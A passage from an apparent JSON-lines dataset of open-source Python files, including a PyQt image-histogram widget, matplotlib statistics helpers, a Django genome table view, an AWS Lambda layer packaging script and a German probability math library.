layout.addWidget(self._cut_low_label, 0, 1)\n layout.addWidget(self._cut_low_box, 0, 2)\n layout.addWidget(self._cut_high_label, 1, 1)\n layout.addWidget(self._cut_high_box, 1, 2)\n layout.addWidget(self._bins_label, 2, 1)\n layout.addWidget(self._bins_box, 2, 2)\n layout.addWidget(self.histogram, 0, 0, 3, 1)\n\n return layout\n\n\nclass BasicController(object):\n \"\"\"Controller for :class:`Basic` window\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view : :class:`Basic`\n View to control\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view : :class:`Basic`\n View to control\n \"\"\"\n\n def __init__(self, image_set, view):\n self.image_set = image_set\n self.view = view\n\n def change_current_image_index(self, new_index):\n \"\"\"Change the current image index to a new index\n\n Parameters\n ----------\n new_index : :obj:`int`\n The new index for\n :class:`~.pdsspect_image_set.PDSSpectImageSetViewBase.images` to\n determine the current image\n \"\"\"\n\n self.image_set.current_image_index = new_index\n\n\nclass BasicWidget(QtWidgets.QWidget):\n \"\"\"Widget to hold each basic window\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n view canvas\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n basics : :obj:`list` of :class:`Basic`\n :class:`Basic` in the widget\n \"\"\"\n\n def __init__(self, image_set, view_canvas):\n super(BasicWidget, self).__init__()\n self.image_set = image_set\n self.basics = []\n self.main_layout = QtWidgets.QHBoxLayout()\n self.setLayout(self.main_layout)\n self.setWindowTitle('Basic')\n self.add_basic(image_set, view_canvas)\n\n def add_basic(self, image_set, view_canvas):\n \"\"\"Add a :class:`Basic` to the widget\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n view canvas\n \"\"\"\n\n basic = Basic(image_set, view_canvas, self)\n self.basics.append(basic)\n self.main_layout.addWidget(basic)\n self.connect_model(basic)\n\n def connect_model(self, basic):\n \"\"\"Connect the models of other basic windows to the given window\n\n The models are connected when they have the same current image\n\n Parameters\n ----------\n basic : :class:`Basic`\n Basic window connect/disconnect its histogram model to others\n \"\"\"\n\n other_basics = list(self.basics)\n other_basics.remove(basic)\n for other_basic in other_basics:\n image = other_basic.image_set.current_image\n if image == basic.image_set.current_image:\n other_basic.histogram.connect_model(basic.histogram)\n basic.histogram.connect_model(other_basic.histogram)\n else:\n other_basic.histogram.disconnect_model(basic.histogram)\n basic.histogram.disconnect_model(other_basic.histogram)\n\n\nclass Basic(QtWidgets.QWidget, PDSSpectImageSetViewBase):\n \"\"\"Window to apply cut levels and choose the current image\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n Canvas to view the image\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n Canvas to view the image\n controller : :class:`BasicController`\n Controller for view\n image_menu : :class:`QtWidgets.QComboBox `\n Drop down menu to pick the current image\n histogram : :class:`~.histogram.HistogramModel`\n Model for the :attr:`histogram_widget`\n histogram_widget : :class:`BasicHistogramWidget`\n The histogram widget to adjust the cut levels\n layout : :class:`QtWidgets.QVBoxLayout `\n The main layout\n \"\"\"\n\n def __init__(self, image_set, view_canvas, basic_widget):\n super(Basic, self).__init__(basic_widget)\n\n self.image_set = image_set\n self.image_set.register(self)\n self.basic_widget = basic_widget\n self.controller = BasicController(image_set, self)\n self.view_canvas = view_canvas\n\n self.image_menu = QtWidgets.QComboBox()\n for image in self.image_set.images:\n self.image_menu.addItem(image.image_name)\n self.image_menu.setCurrentIndex(image_set.current_image_index)\n self.image_menu.currentIndexChanged.connect(self.change_image)\n self.histogram = BasicHistogramModel(self.view_canvas, bins=100)\n self.histogram_widget = BasicHistogramWidget(self.histogram, self)\n\n self.layout = QtWidgets.QVBoxLayout()\n self.layout.addWidget(self.image_menu)\n self.layout.addWidget(self.histogram_widget)\n\n self.setLayout(self.layout)\n self.histogram.set_data()\n\n def change_image(self, new_index):\n \"\"\"Change the image when new image selected in :attr:`image_menu`\n\n Parameters\n ----------\n new_index : :obj:`int`\n The new index to determine the current image\n \"\"\"\n\n self.image_set.current_image.cuts = self.histogram.cuts\n self.controller.change_current_image_index(new_index)\n self.basic_widget.connect_model(self)\n\n def set_image(self):\n \"\"\"When the image is set, adjust the histogram\"\"\"\n self.histogram.set_data()\n self.histogram.restore()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 27 15:16:34 2021\n\n@author: ag\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport matplotlib.transforms as transforms\nimport re\n\ndef confidence_ellipse(x, y, n_std=1.0, weights=None, ax=None, facecolor='none', **kwargs):\n \"\"\"\n Create a plot of the covariance confidence ellipse of *x* and *y*.\n\n Parameters\n ----------\n x, y : array-like, shape (n, )\n Input data.\n\n ax : matplotlib.axes.Axes\n The axes object to draw the ellipse into.\n\n n_std : float\n The number of standard deviations to determine the ellipse's radiuses.\n\n **kwargs\n Forwarded to `~matplotlib.patches.Ellipse`\n\n Returns\n -------\n matplotlib.patches.Ellipse\n \"\"\"\n if x.size != y.size:\n raise ValueError(\"x and y must be the same size\")\n\n if not ax:\n ax = plt.gca()\n\n if 'label' in kwargs:\n kwargs['label'] = re.sub(r'SSP(\\d)(\\d)(\\d)',r'SSP\\1-\\2.\\3', kwargs['label'])\n\n if weights is None:\n cov = np.cov(x, y)\n mean_x = np.mean(x)\n mean_y = np.mean(y)\n else:\n cov = np.cov(x, y, aweights = weights)\n sumw = np.sum(weights)\n mean_x = np.sum(x*weights)/sumw\n mean_y = np.sum(y*weights)/sumw\n\n pearson = cov[0, 1]/np.sqrt(cov[0, 0] * cov[1, 1])\n # Using a special case to obtain the eigenvalues of this\n # two-dimensionl dataset.\n ell_radius_x = np.sqrt(1 + pearson)\n ell_radius_y = np.sqrt(1 - pearson)\n ellipse = Ellipse((0, 0), width=ell_radius_x * 2, height=ell_radius_y * 2,\n facecolor=f'{facecolor}22', edgecolor=f'{facecolor}', **kwargs)\n\n # Calculating the stdandard deviation of x from\n # the squareroot of the variance and multiplying\n # with the given number of standard deviations.\n scale_x = np.sqrt(cov[0, 0]) * n_std\n\n # calculating the stdandard deviation of y ...\n scale_y = np.sqrt(cov[1, 1]) * n_std\n\n transf = transforms.Affine2D() \\\n .rotate_deg(45) \\\n .scale(scale_x, scale_y) \\\n .translate(mean_x, mean_y)\n\n ellipse.set_transform(transf + ax.transData)\n return ax.add_patch(ellipse)\n\n\n\n#FROM https://stackoverflow.com/questions/21844024/weighted-percentile-using-numpy\ndef weighted_quantile(values, quantiles, sample_weight=None,\n values_sorted=False, old_style=False):\n \"\"\" Very close to numpy.percentile, but supports weights.\n NOTE: quantiles should be in [0, 1]!\n :param values: numpy.array with data\n :param quantiles: array-like with many quantiles needed\n :param sample_weight: array-like of the same length as `array`\n :param values_sorted: bool, if True, then will avoid sorting of\n initial array\n :param old_style: if True, will correct output to be consistent\n with numpy.percentile.\n :return: numpy.array with computed quantiles.\n \"\"\"\n values = np.array(values)\n quantiles = np.array(quantiles)\n if sample_weight is None:\n sample_weight = np.ones(len(values))\n sample_weight = np.array(sample_weight)\n assert np.all(quantiles >= 0) and np.all(quantiles <= 1), \\\n 'quantiles should be in [0, 1]'\n\n if not values_sorted:\n sorter = np.argsort(values)\n values = values[sorter]\n sample_weight = sample_weight[sorter]\n\n weighted_quantiles = np.cumsum(sample_weight) - 0.5 * sample_weight\n if old_style:\n # To be convenient with numpy.percentile\n weighted_quantiles -= weighted_quantiles[0]\n weighted_quantiles /= weighted_quantiles[-1]\n else:\n weighted_quantiles /= np.sum(sample_weight)\n return np.interp(quantiles, weighted_quantiles, values)\n\n\n", "source": "cmip6moap/project01", "license": "CC-BY-4.0"} {"text": "from Utils.Logging import LoggingMixin\nfrom spade.agent import Agent\nfrom spade.behaviour import CyclicBehaviour\nfrom spade.message import Message\n\n\nclass SystemAgent(Agent, LoggingMixin):\n class MessageReceiverBehavior(CyclicBehaviour):\n def __init__(self, outer_ref):\n super().__init__()\n self.__outer_ref: SystemAgent = outer_ref\n\n async def on_start(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} starting the message receiver. . .\", \"info\")\n\n async def run(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} checking for message. . .\", \"info\")\n message = await self.receive(self.__outer_ref.message_checking_interval)\n if message:\n self.__outer_ref.log(f\"{self.__outer_ref.jid} processing message. . .\", \"info\")\n await self.__outer_ref._process_message(message)\n self.__outer_ref.log(f\"{self.__outer_ref.jid} done processing message. . .\", \"info\")\n\n async def on_end(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} ending the message receiver. . .\", \"info\")\n\n async def _process_message(self, message: Message):\n pass\n\n @property\n def message_checking_interval(self):\n return self.__message_checking_interval\n\n def __init__(self, jid: str, password: str, executor, verify_security: bool = False,\n message_checking_interval: int = 5):\n super().__init__(jid, password, verify_security)\n if executor:\n self.loop.set_default_executor(executor)\n self.__message_checking_interval = message_checking_interval\n\n async def setup(self):\n self.log(f\"{self.jid} agent starting . . .\", \"info\")\n if self.message_checking_interval > -1:\n msg_behavior = self.MessageReceiverBehavior(self)\n self.add_behaviour(msg_behavior)\n else:\n self.log(f\"{self.jid} skipping message checking . . .\", \"info\")\n\n def log(self, message, level):\n try:\n log_method = getattr(self.logger, level)\n log_method(message)\n except AttributeError:\n raise ValueError(f\"{level} is not a valid logging level\")\n", "source": "robertkarol/ReDe-Multiagent-Face-Recognition-System", "license": "MIT"} {"text": "# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Global context for knowledge bank operations.\"\"\"\n\nimport threading\nfrom typing import Text\n\nfrom research.carls import dynamic_embedding_config_pb2 as de_config_pb2\n\n# A map from variable name to DynamicEmbeddingConfig.\n_knowledge_bank_collections = {}\n_lock = threading.Lock()\n\n\ndef add_to_collection(name: Text, config: de_config_pb2.DynamicEmbeddingConfig):\n \"\"\"Adds given (name, config) pair to global collectionss.\n\n Args:\n name: A string denoting the variable name.\n config: An instance of DynamicEmbeddingConfig.\n\n Raises:\n TypeError: Invalid input.\n ValueError: Name is empty, or a different config is added for an existing\n variable.\n \"\"\"\n if not name:\n raise ValueError(\"Empty name.\")\n if not isinstance(config, de_config_pb2.DynamicEmbeddingConfig):\n raise TypeError(\"Config is not an instance of DynamicEmbeddingConfig.\")\n if name in _knowledge_bank_collections.keys():\n existing_config = _knowledge_bank_collections[name]\n if config.SerializeToString() != existing_config.SerializeToString():\n raise ValueError(\n \"Adding a new config for the same var name is not allowed, existing:\"\n \" %r, new: %r.\" % (existing_config, config))\n\n with _lock:\n _knowledge_bank_collections[name] = de_config_pb2.DynamicEmbeddingConfig()\n _knowledge_bank_collections[name].CopyFrom(config)\n\n\ndef get_all_collection():\n \"\"\"Returns a list of all (name, config) pairs.\"\"\"\n with _lock:\n return [(key, value) for key, value in _knowledge_bank_collections.items()]\n\n\ndef clear_all_collection():\n \"\"\"Clears existing all (name, config) pairs.\"\"\"\n with _lock:\n _knowledge_bank_collections.clear()\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"} {"text": "from .cog import FeedCog\n\ndef init(bot):\n bot.add_cog(FeedCog(bot))\n\nfrom . import pixiv, twitter\n", "source": "skielred/ArtCompanion", "license": "MIT"} {"text": "from django_datatables_view.base_datatable_view import BaseDatatableView\nfrom django.db.models import Q\nfrom django.contrib.postgres.aggregates.general import ArrayAgg\n\nfrom website.models import Genome\n\nclass GenomeTableAjax(BaseDatatableView):\n # The model we're going to show\n model = Genome\n\n # set max limit of records returned, this is used to protect our site if someone tries to attack our site\n # and make it return huge amount of data\n max_display_length = 2000\n\n def render_column(self, row: Genome, column: str):\n if column == 'genome_tags':\n html = [F'{tag}' for tag in row.genome_tags if tag]\n return ' '.join(html)\n if column == 'organism_tags':\n html = [F'{tag}' for tag in row.organism_tags if tag]\n return ' '.join(html)\n if column == 'representative':\n return 'True' if row.is_representative else 'False'\n if column == 'literature_references':\n return \" \".join(row.literature_references)\n elif column.startswith(\"env_\"):\n return \" \".join(row.__getattribute__(column))\n else:\n return super(GenomeTableAjax, self).render_column(row, column)\n\n def get_initial_queryset(self):\n if not self.model:\n raise NotImplementedError(\"Need to provide a model or implement get_initial_queryset!\")\n qs = self.model.objects.annotate(\n genome_tags=ArrayAgg('tags__tag', distinct=True),\n organism_tags=ArrayAgg('organism__tags__tag', distinct=True)\n ) \\\n .all() \\\n .prefetch_related('organism') \\\n .prefetch_related('organism__taxid')\n return qs\n\n def filter_queryset(self, qs):\n \"\"\" If search['value'] is provided then filter all searchable columns using filter_method (istartswith\n by default).\n\n Automatic filtering only works for Datatables 1.10+. For older versions override this method\n \"\"\"\n\n columns = self._columns\n if not self.pre_camel_case_notation:\n # get global search value\n search = self._querydict.get('search[value]', None)\n q = Q()\n filter_method = self.get_filter_method()\n for col_no, col in enumerate(self.columns_data):\n # apply global search to all searchable columns\n if search and col['searchable']:\n # cannot search binary fields or tags\n if not columns[col_no] in ['representative', 'contaminated', 'organism.restricted']:\n q |= Q(**{F\"{columns[col_no].replace('.', '__')}__{filter_method}\": search})\n\n # column specific filter\n if col['search.value']:\n colname = col['name']\n\n ## CUSTOM FILTERS\n if colname == 'representative':\n if col['search.value'] == \"True\":\n qs = qs.filter(representative__isnull=False)\n else:\n qs = qs.filter(representative__isnull=True)\n elif colname == \"genome_tags\":\n qs = qs.filter(tags__tag__in=col['search.value'].split(\"|\"))\n elif colname == \"organism_tags\":\n qs = qs.filter(organism__tags__tag__in=col['search.value'].split(\"|\"))\n elif colname.endswith(\"_date\"):\n if col['search.value'].startswith(\"-yadcf_delim\"):\n range = [\"0001-01-01\", col['search.value'][-10:]]\n elif col['search.value'].endswith(\"yadcf_delim-\"):\n range = [col['search.value'][:10], \"9000-12-30\"]\n else:\n range = [col['search.value'][:10], col['search.value'][-10:]]\n qs = qs.filter(**{'{0}__{1}'.format(columns[col_no].replace('.', '__'), 'range'): range})\n\n else:\n # DEFAULT BEHAVIOUR\n qs = qs.filter(**{\n '{0}__{1}'.format(columns[col_no].replace('.', '__'), filter_method): col['search.value']})\n qs = qs.filter(q)\n\n return qs\n", "source": "blumeria/opengenomebrowser", "license": "MIT"} {"text": "import os\nimport os.path as op\nimport shutil\nimport sys\nfrom datetime import datetime\nfrom tempfile import TemporaryDirectory\n\nimport boto3\nimport sh\nfrom termcolor import cprint\n\nfrom .cloudformation import get_cf_resources\nfrom .config import Config\n\n\ndef _docker(*args):\n cprint(\"$\", \"red\", end=\" \")\n cprint(\"docker \" + \" \".join(args), \"green\")\n p = None\n try:\n p = sh.docker(*args, _out=sys.stdout, _err=sys.stderr, _bg=True)\n p.wait()\n except KeyboardInterrupt:\n if p is not None:\n p.signal(2)\n sys.exit(2)\n\n\ndef _target_zip_basename(layername: str, ver: str) -> str:\n ts = round(datetime.utcnow().timestamp())\n return f\"{layername}_{ts}_{ver}.zip\"\n\n\ndef _build_cmd(zipbasename, cfg: Config):\n chains = []\n\n # ==========================================\n # COPY files on /volumepoint/other_resources\n # ==========================================\n chains.extend([\"(test -d /other_resources && cp -RT /other_resources . || echo)\"])\n\n # ===========\n # PIP INSTALL\n # ===========\n chains.extend(\n [\n \"mkdir -p python\",\n \"pip3 install --no-cache-dir -r /volumepoint/requirements.txt -t python\",\n \"cd python\",\n ]\n )\n\n # ====================================\n # REMOVE UNNECESSARY SNIPPETS OR FILES\n # ====================================\n if cfg.shrink.plotly.remove_jupyterlab_plotly:\n chains.append(\"(test -d jupyterlab_plotly && rm -rf jupyterlab_plotly || echo)\")\n if cfg.shrink.plotly.remove_data_docs:\n chains.append(\n r'''(test -d plotly && (find plotly/validators -name '*.py' | xargs sed --in-place -z -E -e 's/kwargs\\.pop\\([[:space:]]*\"data_docs\",[[:space:]]*\"\"\".*\"\"\",?[[:space:]]*\\)/kwargs.pop(\"data_docs\", \"\")/') || echo)''' # noqa\n )\n if cfg.shrink.remove_dist_info:\n chains.append(\"(find . -name '*.dist-info' | xargs rm -rf)\")\n chains.append(\"(find . -name '__pycache__' | xargs rm -rf)\")\n\n # =====\n # PATCH\n # =====\n if cfg.shrink.compile and cfg.shrink.compile_optimize_level >= 2:\n # Compile with optimize_level=2 remove docstrings on python code; and __doc__ attributes gets to be None,\n # Affected by this behavior some codes raises errors.\n chains.append(\n r\"\"\"(test -d numpy && (find numpy -name '*.py' | xargs sed --in-place -e 's/dispatcher\\.__doc__/\"\"/g') || echo)\"\"\" # noqa\n )\n\n # =======\n # COMPILE\n # =======\n if cfg.shrink.compile:\n chains.extend(\n [\n f\"\"\"python -c 'import compileall; compileall.compile_dir(\".\", maxlevels=20, optimize={cfg.shrink.compile_optimize_level}, force=True, legacy=True, quiet=2)'\"\"\", # noqa\n \"(find . -name '*.py' | xargs rm -rf)\",\n ]\n )\n\n # ===\n # ZIP\n # ===\n chains.extend(\n [\n \"cd ..\",\n \"mkdir -p /volumepoint/dist\",\n f\"zip -r9 --quiet /volumepoint/dist/{zipbasename} .\",\n ]\n )\n\n return \" && \".join(chains)\n\n\ndef _make_package(zipbasename: str, ver: str, cfg: Config):\n \"\"\"Run `pip install' in the docker container and zip artifacts.\"\"\"\n cprint(f\"Start to make {op.join('dist', zipbasename)}\", \"green\")\n if op.exists(op.join(\"dist\", zipbasename)):\n print(f\"SKIP: {op.join('dist', zipbasename)} already exists\")\n return\n with TemporaryDirectory() as tmpdir:\n curdir = op.abspath(os.curdir)\n # In order to follow symbolic links, copy files on ./other_resources to tmpdir\n os.makedirs(op.join(curdir, \"other_resources\"), exist_ok=True)\n other_resources_copy_dir = op.join(tmpdir, \"other_resources_copy_dir\")\n shutil.copytree(\n op.join(curdir, \"other_resources\"), other_resources_copy_dir, symlinks=False\n )\n _docker(\n \"run\",\n \"--rm\",\n \"-v\",\n f\"{curdir}:/volumepoint\",\n \"-v\",\n f\"{other_resources_copy_dir}:/other_resources\",\n f\"lambci/lambda:build-python{ver}\",\n \"sh\",\n \"-c\",\n _build_cmd(zipbasename, cfg),\n )\n print(f\"DONE: {op.join('dist', zipbasename)} created\")\n\n\ndef _full_layername(layername: str, ver: str):\n suffix = \"-py\" + ver.replace(\".\", \"\")\n return layername + suffix\n\n\ndef _upload_package(zipbasename: str, ver: str, full_layername: str, description: str):\n cf_resources = get_cf_resources()\n s3 = boto3.resource(\"s3\")\n cprint(f\"Start to upload {op.join('dist', zipbasename)}\", \"green\")\n\n bucketname = cf_resources[\"DeploymentBucketName\"]\n s3.Bucket(bucketname).upload_file(op.join(\"dist\", zipbasename), zipbasename)\n print(f\"Put the package file: s3://{bucketname}/{zipbasename}\")\n\n lambdafunc = boto3.client(\"lambda\")\n res = lambdafunc.publish_layer_version(\n LayerName=full_layername,\n Description=description,\n Content={\n \"S3Bucket\": bucketname,\n \"S3Key\": zipbasename,\n },\n CompatibleRuntimes=[f\"python{ver}\"],\n )\n print(f\"Publish the custom layer: {res['LayerVersionArn']}\")\n\n print(f\"DONE: {op.join('dist', zipbasename)} created\")\n\n\ndef deploy_package(cfg: Config, upload_also=True):\n \"\"\"Run make_package & upload_package according in accordance with config.\"\"\"\n for ver in cfg.pyversions:\n # ex. NAME_MD5SUM_py3x.zip\n zipbasename = _target_zip_basename(cfg.layername, ver)\n # ex. NAME-py3x\n fullname = _full_layername(cfg.layername, ver)\n _make_package(zipbasename, ver, cfg)\n if upload_also:\n _upload_package(zipbasename, ver, fullname, cfg.description)\n", "source": "hayashiya18/lampip", "license": "MIT"} {"text": "import itertools\n\n\ndef identifier_path(it):\n return '__' + '_'.join(\n it.__module__.split('.') + [it.__qualname__]\n )\n\n\n# https://docs.python.org/3/library/itertools.html\ndef pairwise(iterable):\n 's -> (s0,s1), (s1,s2), (s2, s3), ...'\n a, b = itertools.tee(iterable)\n next(b, None)\n return zip(a, b)\n\n\n# https://docs.python.org/3/library/itertools.html\ndef grouper(iterable, n, fillvalue=None):\n \"Collect data into fixed-length chunks or blocks\"\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\n args = [iter(iterable)] * n\n return itertools.zip_longest(*args, fillvalue=fillvalue)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "\ufeff#!/usr/bin/python\n# -*- coding utf-8 -*-\n\n \n\t\t\t\t\t\t \n# \n# zufall - Funktionen \n# \n \n#\n# This file is part of zufall\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n\n\n#\n# Inhalt:\n#\n# abs, sqrt, ... - Mathematische Funktionen\n# is_zahl - Test auf Zahl\n# mit_param - Test auf Parameter\n# permutationen, perm - Permutationen\n# kombinationen, komb - Kombinationen\n# variationen - Variationen\n# zuf_zahl - Erzeugung von Zufallszahlen\n# anzahl - Anzahl des Vorkommens eines Elementes in \n# einer DatenReihe / Liste\n# anzahl_treffer - Anzahl Treffer \n# summe - Summe der Elemente einer Liste / DatenReihe \n# ja_nein - Bewertung logischer Ausdr\u00fccke\n# auswahlen - k-Auswahlen aus n Objekten\n# gesetze - Einige Gesetze der Wahrscheinlichkeitsrechnung\n# stochastisch - Test auf stochastischen Vektor / Matrix\n# l\u00f6se - Solver f\u00fcr Gleichungen / Ungleichungen\n# einfach - Vereinfachung von Vektoren / Matrizen\n# ja, nein, ... - Hilfsgr\u00f6\u00dfen f\u00fcr True/False\n# Hilfe - Hilfefunktion\n\t\n\t\n\nimport importlib\n\nfrom itertools import (product, permutations, combinations, \n combinations_with_replacement)\nfrom Lib.random import randint, sample\n\nfrom IPython.display import display, Math\n\nfrom sympy import (Symbol, nsimplify, simplify, solve, radsimp, trigsimp, \n signsimp)\nfrom sympy.core.compatibility import iterable\nfrom sympy import (Integer, Rational, Float, Add, Mul, Pow, Mod, \n N, factorial, binomial as Binomial)\nfrom sympy.core.numbers import Zero, One, NegativeOne, Half, E\nfrom sympy.core.sympify import sympify\nfrom sympy.core.containers import Tuple\nfrom sympy import (\n Abs, sqrt as Sqrt, exp as Exp, log as Log, \n sin as Sin, cos as Cos, tan as Tan, cot as Cot,\n\tasin as Asin, acos as Acos, atan as Atan, acot as Acot,\n\tsinh as Sinh, cosh as Cosh, tanh as Tanh, \n\tasinh as Asinh, acosh as Acosh, atanh as Atanh,\n\tre as Re, im as Im, conjugate as Conjugate)\nfrom sympy.functions.elementary.miscellaneous import Max, Min\n\t \nfrom sympy.printing.latex import latex\nfrom sympy.matrices import Matrix as SympyMatrix\nfrom sympy import solveset, S, pi\n\nfrom zufall.lib.objekte.basis import ZufallsObjekt\nfrom zufall.lib.objekte.ausnahmen import ZufallError\n\nimport zufall\n\n\t\t\n\t\t\n# ---------------------------\n# Umrechnung Bogenma\u00df in Grad\n# ---------------------------\n\ndef deg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nUmrechnung Bogen- in Gradma\u00df - Funktion\\n\")\n print(\"Aufruf deg( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Synonymer Bezeichner grad\\n\")\t\n print(\"R\u00fcckgabe Winkel in Grad\\n\")\t\t\n print(\"Zusatz d=n Dezimaldarstellung\")\n print(\" n - Anzahl der Nachkommastellen\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = number * 180 / pi\n d = kwargs.get('d')\n if d:\t\n return wert_ausgabe(wert, d)\n return wert\n\t\ngrad = deg\t\n\n\n# ---------------------------\n# Umrechnung Grad in Bogenma\u00df\n# ---------------------------\n\ndef rad(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nUmrechnung Grad- in Bogenma\u00df - Funktion\\n\")\n print(\"Aufruf rad( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Synonymer Bezeichner bog\\n\")\t\t\n print(\"R\u00fcckgabe Winkel in Bogenma\u00df\\n\")\t\t\n print(\"Zusatz d=n Dezimaldarstellung\")\n print(\" n - Anzahl der Nachkommastellen\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl aus [-1, 1] angeben\")\n return\t\t\n wert = number / 180 * pi\n d = kwargs.get('d')\n if d:\t\n return wert_ausgabe(wert, d)\n return nsimplify(wert, [pi])\n\nbog = rad\n\n\n# -----------------------------------\n# Allgemeine mathematische Funktionen\n# -----------------------------------\n\ndef abs(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nBetrags - Funktion\\n\")\n print(\"Aufruf abs( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Abs(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\ndef sqrt(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nWurzel - Funktion\\n\")\n print(\"Aufruf sqrt( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\n wert = Sqrt(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\ndef exp(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nExponential - Funktion\\n\")\n print(\"Aufruf exp( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\n wert = Exp(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\ndef log(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nNat\u00fcrlicher Logarithmus - Funktion\\n\")\n print(\"Aufruf ln( x )\")\n print(\"oder log( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Log(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\nln = log\n\ndef lg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nDekadischer Logarithmus - Funktion\\n\")\n print(\"Aufruf lg( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Log(number, 10)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\ndef max(*numbers, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nGr\u00f6\u00dfte Zahl in einer Folge von Zahlen\\n\")\n print(\"Aufruf max( x1, x2, ... )\\n\")\n print(\" x Zahl\\n\")\n return\n if isinstance(numbers[0], (list, tuple, Tuple, set, dict)):\n zahlen = [x for x in numbers[0]]\n else:\n zahlen = [x for x in numbers] \n if not all([is_zahl(x) for x in zahlen]):\n print(\"agla: nur Zahlen angeben\") \n return\t\t\n wert = Max(*zahlen)\n return wert\n\t\ndef min(*numbers, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKleinste Zahl in einer Folge von Zahlen\\n\")\n print(\"Aufruf min( x1, x2, ... )\\n\")\n print(\" x Zahl\\n\")\n return\n if isinstance(numbers[0], (list, tuple, Tuple, set, dict)):\n zahlen = [x for x in numbers[0]]\n else:\n zahlen = [x for x in numbers] \n if not all([is_zahl(x) for x in zahlen]):\n print(\"agla: nur Zahlen angeben\") \n return\t\t\n wert = 